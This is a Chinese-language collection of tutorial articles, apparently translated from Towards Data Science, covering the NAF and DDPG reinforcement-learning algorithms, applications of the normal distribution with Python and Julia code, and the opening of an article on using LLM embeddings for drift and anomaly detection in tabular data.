向选择的动作中添加噪声的问题在于,如果噪声与之前的噪声无关且具有零均值的分布,则动作会相互抵消,使得代理无法保持对任何点的连续运动,而是会陷入困境,从而无法探索。Ornstein-Uhlenbech 噪声过程获得与之前噪声值相关的噪声值,使得代理能够向某个方向进行连续运动,因此成功地进行探索。
关于 Ornstein-Uhlenbech 噪声过程的更深入信息可以在[2]中找到。
NAF 算法背后的逻辑
NAF 算法利用神经网络分别获得状态值函数 V和优势函数 A的值。由于之前的解释,神经网络获得这些输出的原因是,动作值函数 Q的结果可以作为V和A的总和。
像大多数强化学习算法一样,NAF 旨在优化 Q-函数,但在其应用案例中,特别复杂,因为它使用神经网络作为 Q-函数估计器。因此,NAF 算法利用了一个二次函数来表示优势函数,其解是封闭且已知的,从而使得关于动作的优化更加容易。
图 1。NAF 算法的 Q-函数和优势函数。图像摘自[1]。
更具体地说,Q-函数相对于动作总是二次的,因此动作的argmax Q(x, u)总是𝜇(x|𝜃) [3],如图 2所示。由于此原因,解决了由于在连续动作空间中工作而无法获得神经网络输出的 argmax 的问题,这在 DQN 中曾经存在。
通过查看构成 Q-函数的不同组件,可以看出神经网络将有三个不同的输出:一个用于估计价值函数,另一个用于获得最大化 Q-函数的动作(argmax Q(s, a) 或 𝜇(x|𝜃)),还有一个用于计算矩阵 P(见图 1):
-
神经网络的第一个输出是对状态值函数的估计。这个估计值随后用于获得 Q-函数的估计,即状态值函数和优势函数的总和。这个输出在图 1中表示为V(x|𝜃)。
-
神经网络的第二个输出是𝜇(x|𝜃),即在给定状态下最大化 Q-函数的动作,或argmax Q(s, a),因此作为代理应遵循的策略。
-
第三个输出用于随后形成状态依赖的正定方阵P(x|𝜃)。这种神经网络的线性输出用作下三角矩阵L(x|𝜃)的输入,其中对角项经过指数化处理,从而构建出上述的矩阵P(x|𝜃),其计算公式如下。
构造 P 矩阵的公式。摘自[1]
图 2。作者提供的图像
神经网络的第二和第三个输出用于构造优势函数的估计,如图 1所示,然后将其加到第一个输出(状态值函数估计 V)中,以获得 Q 函数的估计。
关于 NAF 算法的其余部分,它包含与文章应用强化学习 III:深度 Q 网络(DQN)中解释的 DQN 算法相同的组件和步骤。这些共同的组件有重放缓冲区、主神经网络和目标神经网络。与 DQN 类似,重放缓冲区用于存储经验以训练主神经网络,目标神经网络用于计算目标值并与主网络的预测进行比较,然后执行反向传播过程。
NAF 算法流程
NAF 算法的流程将遵循下面的伪代码,摘自[1]。如前所述,NAF 算法遵循与 DQN 算法相同的步骤,只是 NAF 以不同的方式训练其主神经网络。
NAF 算法伪代码。摘自[1]
在每个时间步中,智能体执行以下步骤:
1. 从给定状态中选择一个动作
选择的动作是最大化 Q 函数估计值的动作,由𝜇(x|𝜃)表示,如图 2所示。
对于所选择的动作,添加从 Ornstein-Uhlenbech 噪声过程(之前介绍过)中提取的噪声,以增强智能体的探索。
2. 对环境执行动作
在环境中由智能体执行带噪声的动作。执行此动作后,智能体接收关于动作效果的信息(通过奖励),以及关于在环境中达到的新状态的信息(即下一个状态)。
3. 将经验存储在重放缓冲区中
重放缓冲区将经验存储为{s, a, r, s’},其中s和a是当前状态和动作,r和s’是奖励和执行当前状态动作后的新状态。
从步骤 4 到 7 的过程会根据算法超参数 I 在每个时间步上重复进行,如上述伪代码所示。
4. 从 Replay Buffer 中随机抽取一批经验
如《DQN 文章》所述,仅当 Replay Buffer 中有足够的数据填充一批时,才会提取一批经验。一旦满足这一条件,{batch_size} 元素会从 Replay Buffer 中随机选取,从而可以利用以前的经验进行学习,而不需要最近经历这些经验。
5. 设置目标值
目标值定义为奖励与下一状态的目标神经网络的值函数估计值之和,乘以折扣因子γ,这是算法的一个超参数。目标值的公式如下所示,并且也在上述伪代码中提供。
目标值计算。摘自[1]中的伪代码
6. 执行梯度下降
对损失进行梯度下降,这些损失是通过主神经网络(预测值)和先前计算的目标值的 Q 函数估计得出的,按照下面的方程计算。如所示,使用的损失函数是均方误差(MSE),因此损失将是 Q 函数估计值和目标值之间的平方差。
损失函数。摘自[1]
应记住,Q 函数的估计是通过值函数 V(x|𝜃)的估计加上优势函数 A(x, u|𝜃)的估计得出的,其公式显示在图 1中。
7. 软更新目标神经网络
目标神经网络的权重以一种软方式更新为主神经网络的权重。这种软更新是主网络权重和目标网络旧权重的加权和,如下方程所示。
目标网络的软更新。摘自[1]
在加权和中,每个神经网络权重的重要性由超参数τ决定。如果τ为零,则目标网络不会更新其权重,因为它将加载自己的旧权重。如果τ设为 1,则目标神经网络将通过加载主网络的权重来更新,忽略目标网络的旧权重。
8. 时间步结束 — 执行下一个时间步
完成上述步骤后,将不断重复这一过程,直到达到每个回合的最大时间步数或代理到达终止状态。当发生这种情况时,将进入下一个回合。
结论
NAF 算法在连续环境中的实现中取得了非常好的结果,因此它圆满地完成了其目标。NAF 与 DDPG 算法 [4] 的比较结果如下,其中可以看到它在前期工作中有了显著的改进。此外,NAF 算法的美妙之处在于,它通过平方函数及其易于优化的特性解决了 DQN 在连续环境中的局限性,是一种聪明且富有创意的解决方案。
DDPG 和 NAF 在不同任务中的比较。摘自[1]
另一方面,尽管 NAF 被证明是一个高效且有用的算法,但它的逻辑和实现并不简单,尤其是与之前用于离散环境的算法相比,这使得它难以使用。
参考文献
[1] GU, Shixiang 等人。基于模型加速的连续深度 q 学习。在 国际机器学习大会 上。PMLR,2016 年。第 2829–2838 页
[2] 奥恩斯坦-乌伦贝克过程en.wikipedia.org/wiki/Ornstein%E2%80%93Uhlenbeck_process
[3] 二次型。伯克利数学math.berkeley.edu/~limath/Su14Math54/0722.pdf
[4] LILLICRAP, Timothy P. 等人。通过深度强化学习进行连续控制。arXiv 预印本 arXiv:1509.02971,2015 年
应用强化学习 VI:用于连续控制的深度确定性策略梯度(DDPG)
DDPG 算法的介绍和理论解释,这在连续控制领域有许多应用。
·发表于 Towards Data Science ·阅读时间 8 分钟·2023 年 3 月 7 日
--
如果你想在没有 Premium Medium 账户的情况下阅读这篇文章,你可以通过这个朋友链接 😃
DDPG 算法,由 Lillicarp 等人在 ICLR 2016 首次提出 [1],在深度强化学习算法用于连续控制方面取得了重大突破,因为它比 DQN [2](仅适用于离散动作)有了改进,且其结果优异且易于实现(见[1])。
关于NAF 算法 [3],该算法在上一篇文章中介绍,DDPG 适用于连续动作空间和连续状态空间,因此它也是适用于机器人技术或自动驾驶等领域的连续控制任务的有效选择。
## 应用强化学习 VI:用于连续控制的归一化优势函数(NAF)
NAF 算法的介绍和解释,该算法广泛用于连续控制任务
[towardsdatascience.com
DDPG 算法的逻辑
DDPG 算法是一种 Actor-Critic 算法,顾名思义,它由两个神经网络组成:Actor和Critic。Actor 负责选择最佳动作,而 Critic 则必须评估所选动作的好坏,并告知 Actor 如何改进。
Actor 通过应用策略梯度进行训练,而 Critic 通过计算 Q 函数进行训练。因此,DDPG 算法试图同时学习最优 Q 函数的近似器(Critic)和最优策略的近似器(Actor)。
Actor-Critic 模式。图像摘自[4]
最优 Q 函数Q*(s, a)给出了在状态s下,采取动作a并随后按照最优策略行动的期望回报。另一方面,最优策略𝜇*(s)返回在状态s下最大化期望回报的动作。根据这两个定义,给定状态下的最优动作(即最优策略在给定状态下的回报)可以通过获取给定状态下Q*(s, a)的 argmax 来获得,如下所示。
Q 函数与策略的关系。作者提供的图像
问题在于,对于连续动作空间,获取最大化 Q 的动作a并不容易,因为计算每一个可能的a的 Q 值以检查哪个结果最高(这是离散动作空间的解决方案)几乎是不可能的,因为可能的值是无限的。
作为解决方案,并假设动作空间是连续的且 Q 函数对动作是可微的,DDPG 算法将maxQ(s, a)近似为Q(s, 𝜇(s)),其中𝜇(s)(一个确定性策略)可以通过执行梯度上升来优化。
简而言之,DDPG 学习最优 Q 函数的近似器,以获得最大化该函数的动作。由于动作空间是连续的,Q 函数的结果不能针对每一个可能的动作值来获得,DDPG 还学习最优策略的近似器,以直接获得最大化 Q 函数的动作。
接下来的部分解释了算法如何学习最优 Q 函数的近似器和最优策略的近似器。
Q 函数的学习
均方贝尔曼误差函数
Q-函数的学习是基于贝尔曼方程的,该方程在本系列的第一篇文章中已介绍。由于在 DDPG 算法中 Q-函数不是直接计算的,而是使用了一个神经网络 Qϕ(s, a) 作为 Q-函数的近似器,因此使用了一个称为 均方贝尔曼误差 (MSBE) 的损失函数。该函数如 图 1 所示,指示近似器 Qϕ(s, a) 如何满足贝尔曼方程。
图 1. 均方贝尔曼误差 (MSBE)。图像摘自 [5]
DDPG 的目标是最*化这个误差函数,这将使 Q-函数的近似器满足贝尔曼方程,这意味着近似器是最优的。
回放缓冲区
为了最*化 MSBE 函数(即训练神经网络以近似 Q*(s, a)),所需的数据是从 回放缓冲区 中提取的,该缓冲区存储了训练过程中经历的经验。这个回放缓冲区在 图 1 中表示为 D,从中获取计算损失所需的数据:状态 s,动作 a,奖励 r,下一个状态 s’ 和完成 d。如果你对回放缓冲区不熟悉,它在关于 DQN 算法 和 NAF 算法 的文章中已有解释,并在关于 DQN 实现 的文章中进行了实现和应用。
目标神经网络
MSBE 函数的最*化包括使 Q-函数的近似器,Qϕ(s, a),尽可能接近函数的另一个项,即 目标,其原始形式如下:
图 2. 目标。摘自图 1 [5]
如图所示,目标依赖于待优化的相同参数,ϕ,这使得最*化变得不稳定。因此,作为解决方案,使用了另一个神经网络,其中包含主神经网络的参数,但有一定的延迟。这个第二个神经网络被称为 目标网络,Qϕtarg(s, a)(见图 3),其参数表示为 ϕtarg。
然而,在图 2中可以看到,当将 Qϕ(s, a) 替换为 Qϕtarg(s, a) 时,必须获得最大化该目标网络输出的动作。正如上文所述,这对于连续动作空间环境来说是复杂的。这通过利用目标策略网络,𝜇ϕtarg(s)(见图 3)来解决,该网络逼近了最大化目标网络输出的动作。换句话说,创建了一个目标策略网络 𝜇ϕtarg(s) 来解决 Qϕtarg(s, a) 的连续动作问题,就像之前对 𝜇ϕ(s) 和 Qϕ(s, a) 所做的那样。
最*化修改后的 MSBE 函数
通过这一切,DDPG 算法通过对图 3中的修改后的 MSBE 函数应用梯度下降来学习最优 Q-函数。
图 3. 修改后的均方贝尔曼误差。摘自[5]并由作者编辑
策略学习
由于动作空间是连续的,并且 Q-函数对动作是可微分的,DDPG 通过对以下函数应用梯度上升来学习最大化 Qϕ(s, a) 的确定性策略𝜇ϕ(s),该函数是关于确定性策略参数的:
图 4. 确定性策略学习的优化函数。摘自[5]
DDPG 算法流程
DDPG 算法的流程将按照以下伪代码展示,摘自[1]。DDPG 算法遵循与其他函数逼近 Q-Learning 算法相同的步骤,例如 DQN 或 NAF 算法。
DDPG 算法伪代码。摘自[1]
1. 初始化 Critic、Critic 目标、Actor 和 Actor 目标网络
初始化在训练过程中使用的 Actor 和 Critic 神经网络。
-
Critic 网络,Qϕ(s, a),作为 Q-函数的逼近器。
-
Actor 网络,𝜇ϕ(s),作为确定性策略的逼近器,用于获取最大化 Critic 网络输出的动作。
一旦初始化,目标网络将与其相应的主网络具有相同的架构,并且主网络的权重会被复制到目标网络中。
-
Critic 目标网络,Qϕtarg(s, a),作为一个延迟的 Critic 网络,以便目标不依赖于需要优化的相同参数,正如之前所解释的。
-
Actor 目标网络,𝜇ϕtarg(s),作为一个延迟的 Actor 网络,用于获取最大化 Critic 目标网络输出的动作。
2. 初始化 Replay Buffer
用于训练的 Replay Buffer 被初始化为空。
在一个时间步中,智能体执行以下步骤:
3. 选择动作并施加噪声
从 Actor 神经网络的输出中获得当前状态的最佳动作,该网络逼近确定性策略 𝜇ϕ(s). 从Ornstein Uhlenbeck 噪声过程[6]或无关的、均值为零的高斯分布 [7] 中提取的噪声然后被应用于选定的动作。
4. 执行动作并将观察结果存储在 Replay Buffer 中
在环境中执行有噪声的动作。之后,环境返回一个奖励,指示采取的行动的效果,执行该动作后达到的新状态,以及一个布尔值,指示是否已达到终止状态。
这些信息连同当前状态和采取的行动一起存储在 Replay Buffer 中,稍后用于优化 Critic 和 Actor 神经网络。
5. 采样经验批次,并训练 Actor 和 Critic 网络
只有当 Replay Buffer 中有足够的经验填满一个批次时,这一步骤才会执行。一旦满足此要求,就会从 Replay Buffer 中提取一个经验批次用于训练。
使用这一批经验:
-
计算目标值,并获得 Critic 网络(Q-Function 的逼近器)的输出,然后在 MSBE 误差函数上应用梯度下降,如图 3所示。这一步骤训练/优化了 Q-Function 的逼近器,Qϕ(s, a)。
-
对图 4所示的函数执行梯度上升,从而优化/训练确定性策略的逼近器,𝜇ϕ(s)。
6. 软更新目标网络
每次更新 Actor 和 Critic 网络时,Actor Target 和 Critic Target 网络都通过Polyak 平均进行更新,如下图所示。
图 5. Polyak 平均。摘自[1]
Tau τ,设置 Polyak 平均中每个元素权重的参数,是算法的一个超参数,通常取接近 1 的值。
结论
Lillicrap 等人提出的 DDPG 算法在 Gym 中大多数连续环境下取得了非常好的结果,如论文[1]所示,展示了它在连续环境中学习不同任务的能力,无论这些任务的复杂性如何。
因此,该算法至今仍用于使智能体在连续环境中学习复杂任务的最优策略,如操作机器人控制任务或自主车辆的避障任务。
参考文献
[1] LILLICRAP, Timothy P., 等人。使用深度强化学习进行连续控制。arXiv 预印本 arXiv:1509.02971,2015。
[2] MNIH, Volodymyr, 等人。使用深度强化学习玩 Atari 游戏。arXiv 预印本 arXiv:1312.5602,2013。
[3] GU, Shixiang 等人。《基于模型的加速连续深度 Q 学习》。发表于国际机器学习大会。PMLR,2016 年。第 2829–2838 页。
[4] SUTTON, Richard S.; BARTO, Andrew G. 《强化学习:导论》。MIT 出版社,2018 年。
[5] OpenAI Spinning Up — 深度确定性策略梯度spinningup.openai.com/en/latest/algorithms/ddpg.html
[6] 乌伦贝克-奥恩斯坦过程en.wikipedia.org/wiki/Ornstein%E2%80%93Uhlenbeck_process
[7] 正态 / 高斯分布
en.wikipedia.org/wiki/Normal_distribution
应用和使用正态分布进行数据科学
原文:
towardsdatascience.com/applying-and-using-the-normal-distribution-for-data-science-98f910629ba1
数据科学步骤
回顾正态分布在数据科学中的各种应用
·发布于 Towards Data Science ·10 分钟阅读·2023 年 7 月 7 日
--
(作者提供的图片)
介绍
在开始数据科学时,可能极其困难的一点是确定这段旅程的确切起点和终点。关于数据科学旅程的终点,重要的是要记住这个领域每天都有进展,必定会有新的突破 —— 要准备好学习大量知识。数据科学不仅包括科学、统计和编程,还涉及多个其他学科。
为了减轻数据科学的复杂性,重要的是将信息分解为易于消化的*块。深入研究并了解领域中的特定方面 —— 无论是数据、编程、机器学习、分析还是科学,确实可以很有趣。虽然这让我感到兴奋,但有时也很有必要缩*重点,深入学习某一特定主题。对于初学者来说,这些交织的领域确实让人不知从何开始。我认为,统计学和正态分布是数据科学的一个很好的起点。我写了一篇文章,详细阐述了原因,并深入探讨了正态分布。我们将在这里简要总结这篇文章,但许多细节将被省略。
简单正态分布的概述和编程。
上述描述的正态分布是一个简单的概率密度函数(PDF),我们可以在数据上应用此函数。这个函数,我们称之为f,计算标准差x在均值f(x)
中的数量。考虑一下。我们需要从均值中获得标准差,我们怎么检查一个值离均值有多少个标准差?首先,我们需要看它离均值有多远,对吧?然后我们需要看这个差异有多少个标准差。这正是我们在公式中所做的。因此,对于每个 x,我们减去均值,然后将差异除以标准差。在统计学中,*写希腊字母 sigma (σ) 代表标准差,*写希腊字母 mu (µ) 代表均值。在下面的公式中,x bar (x̄) 代表观察值(即上面f(x)中的x)。
主要注意被突出显示的部分。
进入编程语言
在上一篇文章的结尾,我们将其引入了编程语言——Julia。语言的选择完全取决于数据科学家,但也需要考虑权衡,并且了解行业动态也很重要。例如,R 是一种相对较慢的语言,但其分析包已由优秀开发者和出色的仪表盘工具*护多年。如今最受欢迎的选择可能是 Python,因为它能够快速连接 C 库且易于使用。Julia 是一种相对较新的语言,但它是我最喜欢的编程语言,我认为大多数数据科学家应该了解它。虽然 Julia 的受欢迎程度迅速上升,但如果你同时掌握这两种语言,也总有更多的工作机会。幸运的是,大多数常用于数据科学的流行语言往往有很多共同之处,最终相互参考也相当容易。这是我们用 Python 和 Julia REPL 分别编写的正态分布。
python
>>> from numpy import mean, std
>>> x = [5, 10, 15]
>>> normed = [(mean(x) - i) / std(x) for i in x]
>>> print(normed)
[1.224744871391589, 0.0, -1.224744871391589]
julia
julia> using Statistics: std, mean
julia> x = [5, 10, 15]
3-element Vector{Int64}:
5
10
15
julia> normed = [(mean(x) - i) / std(x) for i in x]
3-element Vector{Float64}:
1.0
0.0
-1.0
这里是每种编程语言的笔记本。我将用三种语言编写笔记本,不仅使本教程对每个人都可用,还推广使用多种语言的理念。这些语言相似且相当容易阅读,因此很容易对比差异,了解你喜欢哪种语言,并深入探索每种语言的权衡。
notebooks
python
[## Emmetts-DS-NoteBooks/Python3/Applying the normal distribution (py).ipynb at master ·…
各种项目的随机笔记本。通过创建一个账户来为 emmettgb/Emmetts-DS-NoteBooks 开发贡献代码…
julia
[## Emmetts-DS-NoteBooks/Julia/Applying the normal distribution.ipynb at master ·…
各种项目的随机笔记本。通过创建一个账户来为 emmettgb/Emmetts-DS-NoteBooks 开发贡献代码…
设置我们的函数
我们首先需要一个函数,它能为一个Vector
的数字提供正态分布。这就像是在将均值和标准差代入公式之前获取均值和标准差一样简单。这个函数将接受一个参数,即我们的Vector
,然后返回我们标准化后的Vector
。为此,我们当然还需要均值和标准差——我们可以使用相关的依赖。在 Python 中,我们会使用 Numpy 的mean
和std
函数。在 Julia 中,我们会使用Statistics.mean
和Statistics.std
。不过,今天我们将从头开始编写所有内容,这里是我在 Python 和 Julia 中的简单均值和标准差函数:
# python
import math as mt
def mean(x : int):
return(sum(x) / len(x))
def std(arr : list):
m = mean(arr)
arr2 = [(i-m) ** 2 for i in arr]
m = mean(arr2)
m = mt.sqrt(m)
return(m)
# julia
mean(x::Vector{<:Number}) = sum(x) / length(x)
function std(array3::Vector{<:Number})
m = mean(array3)
[i = (i-m) ^ 2 for i in array3]
m = mean(array3)
try
m = sqrt(m)
catch
m = sqrt(Complex(m))
end
return(m)
end
现在我们有了一些获取函数所需值的功能,我们需要将这些功能封装成一个函数。这很简单,我只需使用上面的方法获取我们的总体均值和标准差,然后通过一个理解式来减去均值并将差异除以标准差。
# python
def norm(x : list):
mu = mean(x)
sigma = std(x)
return([(xbar - mu) / sigma for xbar in x])
# julia
function norm(x::Vector{<:Number})
mu::Number = mean(x)
sigma::Number = std(x)
[(xbar - mu) / sigma for xbar in x]::Vector{<:Number}
end
现在让我们尝试一下我们的标准化函数。这是一个容易测试的例子,我们只需提供一个我们知道均值的向量。这是因为我们向量的均值应该为零。因此,在[5, 10, 15]
的情况下,0 将是 10——即[5, 10, 15]
的均值。5 将大约是-1.5,即距离均值一个标准差(在这种情况下,我们的标准差等于 2.5)。
norm([5, 10, 15])
[-1.224744871391589, 0.0, 1.224744871391589]
在正态分布中,统计显著值通常在距离均值近 2 个标准差时开始被注意到。换句话说,如果大多数人的身高约为 10 英寸,而某人的身高为 20 英寸,这将是距离均值 3 个标准差的情况,并且在统计上非常显著。
mu = mean([5, 10, 15])
sigma = std([5, 10, 15])
(15 - mu) / sigma
1.5811388300841895
(20 - mu) / sigma
3.162277660168379
分析的正态分布
Z 分布或正态分布在数据分析中也有许多应用。这个分布可以用于测试,但不像 T 检验那样常用。原因是正态分布的尾部相对较短。因此,它通常用于样本量较大且方差已知的测试中。例如,将正态分布与 T 分布比较,我们会发现 T 分布的尾部更长。这意味着统计显著性的区域更长——因此更容易检测。
仅供参考 — 当自由度减少时,T 分布的尾部变长,均值的权重减*。上面的 t 分布大约有 8 个自由度,但 1 个自由度的 T 分布会更加平坦,尾部更宽。作者提供的图片
这种测试,即 Z 检验,将测试总体均值是否有足够的差异以达到统计显著性。公式也与之前 PDF 中看到的公式非常相似,所以这里没有太多新内容。我们将 xbar 更改为我们要测试的总体的均值,而不是使用每个观察值。该测试将返回一个叫做 Z 统计量的结果。与 T 统计量类似,它通过另一个函数得出概率值。让我们创建一个简单的一*观察集,并看看如何进行这样的测试。
pop = [5, 10, 15, 20, 25, 30]
mu = mean(pop)
sigma = std(pop)
我们将从中间获取一个随机样本并计算 Z 统计量:
xbar = mean(pop[3:5])
现在我们只需将其代入我们的公式中……
(xbar - mu) / sigma
0.5976143046671968
这个新数字是我们的 Z 统计量。将这些统计值转化为概率值的数学过程相当复杂。两种语言中都有可以帮助处理这些问题的库。对于 Julia,我推荐HypothesisTests
,而对于 Python,我推荐scipy
模块。对于本文,我们将使用一个在线 Z 统计量到概率值计算器。让我们将 Z 统计量代入其中:
作者提供的图片
正如我们预期的那样,一些离其他样本非常近的总体,其均值在统计上并不显著。话虽如此,我们当然可以尝试一些在统计上更显著的情况,并拒绝我们的零假设!
xbar = mean([50, 25, 38])
(xbar - mu) / sigma
4.820755390982054
作者提供的图片
正态分布在测试中的确表现良好。关键在于理解这种测试形式需要较大的样本量,并且并不适用于所有数据。在大多数情况下,对于初学者,我会建议从更容易测试的分布开始,例如 T 分布。对于 Z 检验,数据的重要性更大,初学者可能很难找到大规模的数据来源,而且即使数据在统计上显著,也可能更难获得统计显著结果。
正态分布在数据科学项目中的某些情况下也可以用于快速分析。将数据转化为其与总体的关系对于从数据可视化到确定给定总体的变异程度等所有方面都是非常有用的。通过研究我们观察值与均值的关系,我们可以学到很多关于总体的信息。如果你想了解更多关于这个过程的内容,我有一个适合初学者的概述,可能会在这种情况下对你有所帮助,你可以在这里阅读:
学习特征和统计分析的基础知识
归一化数据
正态分布的另一个极佳应用是利用分布来进行数据归一化。连续特征可能会出现一些问题,其中最重要的问题之一是离群值。我们需要将离群值从数据中剔除,这样我们的数据才能成为一种概括。记住,构建优质数据的关键是构建一个良好的总体。我所指的是,我们希望数据的总体——例如均值——能够代表数据在一定变异水平下的正常状态。这样,当某些东西不同的时候,就会变得非常明显。
由于正态分布告诉我们一个值离均值有多少个标准差,因此很容易理解我们如何利用它来进行数据归一化。如前所述,2.0 大致是事情开始变得显著的地方。也就是说,我们可以制作一个掩码,并利用它来筛选不良值!
# julia
function drop_outls(vec::Vector{<:Number})
normed = norm(vec)
mask = [~(x <= -2 || x >= 2) for x in normed]
normed[mask]
end
通过这种简单的掩码过滤,我们增加了辨别值是否远离均值的能力,并基于此将其剔除。在大多数情况下,我们可能还想用均值替换这些离群值,以免丢失其他特征或目标的观察值。
# python
def drop_outls(vec : list):
mu = mean(vec)
normed = norm(vec)
mask = [x <= -2 or x >= 2 for x in normed]
ret = []
for e in range(1, len(mask)):
if mask[e] == False:
ret.append(vec[e])
else:
ret.append(mu)
return(ret)
归一化的常态
在数据科学中,正态分布的最终应用之一是标准化(Standard Scaler)。标准化就是将正态分布应用到你的数据上。这种标准化方法非常有用,因为它有助于将数据转化为更贴近其所在特征的数据。这对于机器学习来说极其重要,可以非常容易地提高模型的准确性,前提是你有一个连续特征。使用标准化非常简单;只需像之前一样使用我们的 PDF,就能获得归一化特征。
myX = [1, 2, 3, 4, 5]
normedx = norm(x)
这用于提供给机器学习的数据。正态分布通常用于处理许多机器学习模型中的连续特征,这些模型每天都会被部署。
总结一下
总结一下,正态分布是统计学和数据科学的基本构建块,广泛应用于数据科学的各种应用中。这个领域有很多不同的主题通常会以这种方式展开:开始时相对简单,最终发展成相当复杂的内容。深入研究一个主题肯定是很好的,正态分布也不例外,因为它的本质和简单性使得它具备了令人惊叹的能力。感谢大家的阅读,希望这个概述对你们有帮助!
应用大型语言模型于表格数据以识别漂移
图片由作者使用 Dall-E 2 创建
大型语言模型(LLMs)是否能够减少异常检测中的工作量,避免参数化或专门的模型训练?
·
关注 发布于 Towards Data Science ·9 分钟阅读·2023 年 4 月 25 日
--
跟随本博客的 配套 Colab.
本博客由 Arize AI 的首席执行官兼联合创始人 Jason Lopatecki 和 Decision Patterns 的首席执行官兼创始人 Christopher Brown 合作撰写
最近,大语言模型(LLM)的进展正在许多领域证明其破坏性力量(参见:人工通用智能的火花:对 GPT-4 的早期实验*)。像许多人一样,我们对这些进展充满浓厚的兴趣,并探索 LLMs 影响数据科学和机器学习领域工作流程和常见实践的潜力。
在我们的之前的文章中,我们展示了 LLMs 使用 Kaggle 竞赛中常见的表格数据提供预测的潜力。几乎不需要任何努力(即数据清理和/或特征开发),我们的基于 LLM 的模型能够在多个竞赛条目中获得八十多百分位的分数。虽然这与最佳模型相比并不具有竞争力,但所需的少量工作使其成为一个有趣的附加预测工具和一个优秀的起点。
本文解决了数据科学和机器学习工作流程中的另一个常见挑战:漂移和异常检测。机器学习模型是用历史数据和已知结果进行训练的。存在一个隐含的假设,即未来的数据将保持静态(例如,关于其分布特征不变)。在实践中,这往往是一个脆弱的假设。复杂系统因各种原因随时间发生变化。数据可能自然地转变为新模式(通过漂移),或者可能由于训练数据之后出现的新异常而发生变化。负责模型的数据科学家通常需要监控数据,检测漂移或异常,并作出与重新训练模型相关的决策。这不是一项简单的任务。许多文献、方法论和最佳实践已经被开发出来以检测漂移和异常。许多解决方案采用了昂贵且耗时的努力,旨在检测和减轻生产系统中异常的存在。
我们想知道:LLMs 是否可以减少漂移和异常检测所需的工作量?
方法
本文提出了一种使用大语言模型(LLM)嵌入、UMAP 降*、非参数聚类和数据可视化来进行异常和漂移检测的新方法。异常检测(有时也称为离群点检测或稀有事件检测)是使用统计学、分析和机器学习技术来识别感兴趣的数据观测值。
为了说明这种方法,我们使用了 加州中等住宅价值数据集,该数据集可在 SciKit learn 包中获得(© 2007–2023,scikit-learn 开发者,BSD 许可证;原始数据来源是 Pace, R. Kelley 和 Ronald Barry,“稀疏空间自回归”,“统计与概率通讯”,第 33 卷,第 3 期,1997 年 5 月 5 日,第 291–297 页)。我们通过采样和置换数据合成*区域的异常数据。合成数据然后很好地隐藏在原始(即“生产”)数据中。实验通过改变异常点的比例以及“异常度”——基本上是我们预计发现异常的难度,来进行。然后该过程试图识别这些异常值。通常,这种内点检测具有挑战性,需要选择比较集、模型训练和/或启发式定义。
我们证明了 LLM 模型方法可以以 96.7%的准确率(假阳性和假阴性大致相等)检测到包含仅 2%数据的异常区域。这种检测能够发现隐藏在现有分布内部的异常数据。这种方法可以应用于生产数据,无需标记、手动分布比较,甚至无需过多思考。该过程完全不依赖参数和模型,是进行异常检测的一个有吸引力的第一步。
背景
模型可观察性的一个常见挑战是快速且直观地识别异常数据。这些异常值可能由于数据漂移(数据分布随时间的自然变化)或异常(意外的数据子集覆盖预期分布)而出现。异常可能来自许多来源,但有两个非常常见。第一个是对上游数据源的(通常是)未通知的更改。越来越多的数据消费者与数据生产者的接触较少。计划中的(和未计划的)更改没有传达给数据消费者。第二个问题则更为隐蔽:对流程和系统中执行不良操作的对手。这些行为通常引起数据科学家的关注。
一般来说,查看多变量数据的漂移方法存在一些挑战,这些挑战限制了它们的使用。一种典型的方法是使用变分自编码器(VAEs)、降*,或者将原始未编码的数据组合成一个向量。这通常涉及到建模过去的异常、创建特征以及检查内部(不)一致性。这些技术的缺陷在于需要不断(重新)训练模型并适应每个数据集。此外,团队通常需要手动识别、设置和调整许多参数。这种方法可能很慢、耗时且昂贵。
在这里,我们将 LLMs 应用于表格数据中的异常检测任务。展示的方法具有优点,因为它易于使用。无需额外的模型训练,降*使问题空间在视觉上可表示,聚类生成异常簇的候选项。使用预训练的 LLM 可以绕过参数化、特征工程和专门模型训练的需求。其插件化意味着 LLM 可以直接为数据科学团队工作。
数据
在这个例子中,我们使用的是 1990 年美国人口普查中的加利福*亚州房屋价值数据(Pace et al, 1997),该数据可以在在线找到,并且被纳入了SciKit-Learn Python 包中。选择这个数据集是因为它的清洁度、使用了连续/数值特征以及其普遍可用性。我们已经在类似的数据上进行了实验。
方法论
注:有关该过程的更完整示例,请参阅配套笔记本。
合成异常
与之前的研究一致,我们发现检测异常的能力受三个因素的影响:异常观察的数量、异常值或这些观察值在参考分布中突出的程度,以及定义异常的*度数量。
第一个因素应该很明显。更多的异常信息导致检测更快更容易。确定一个单独的观察是否异常是一个挑战。随着异常数量的增加,识别变得更容易。
第二个因素,即异常值程度,至关重要。在极端情况下,异常可能超出一个或多个变量的允许范围。在这种情况下,异常检测是显而易见的。更困难的是那些隐藏在分布中间的异常(即“内部点”)。内部点检测往往具有挑战性,许多建模方法对任何形式的系统检测感到无能为力。
最后一个因素是定义异常所使用的*度数量。换句话说,就是有多少变量参与了观察的异常特性。在高*空间中,观察通常变得稀疏。一组在多个*度上变化很*的异常,可能突然变得与参考分布中的观察值非常遥远。几何推理(以及各种多*距离计算)表明,受影响的*度数量越多,检测越容易,检测限制越低。
在合成我们的异常数据时,我们影响了这三个变量。我们进行了一个实验设计,其中:异常观测的数量从总观测的 1% 到 10% 不等,异常值集中在 0.50–0.75 分位数周围,变量数量从 1 到 4 受影响。
利用 LLM 进行异常和漂移检测
我们的方法使用提示让 LLM 提供关于数据每一行的信息。提示很简单。对于每一行/观测,一个提示包括以下内容:
“<列名> 的值是 <单元格值>。<列名> 的值是 <单元格值>。…”
对每一列进行这样的操作,为每一行创建一个连续的提示。有两点需要注意:
-
对训练数据生成提示不是必要的,只需对进行异常检测的数据生成提示即可。
-
询问观测是否异常并非严格必要(尽管这是一个额外调查的热点领域)。
从表格数据创建的提示示例。每行数据被编码为一个单独的提示,并通过连接每个单元格中的简单语句生成。(图片由作者提供)
一旦提供给 LLM,模型的文本响应会被 忽略。我们只关心每个观测的嵌入(例如嵌入向量)。嵌入向量至关重要,因为每个嵌入向量提供了观测在 LLM 训练参考下的位置。尽管实际机制由于神经网络模型的性质和复杂性而被掩盖,但我们将 LLM 视为构建一个潜在响应表面。该表面已包含互联网规模的来源,包括对房价的学习。真实观测——例如那些与学习结果匹配的——位于或接近响应表面;异常值则位于响应表面之外。虽然响应表面大体上是一个隐藏的产物,但确定异常并不是学习表面的问题,而是单纯地识别类似值的簇。真实观测彼此接近。异常观测也彼此接近,但这些集合是不同的。确定异常只是分析这些嵌入向量的问题。
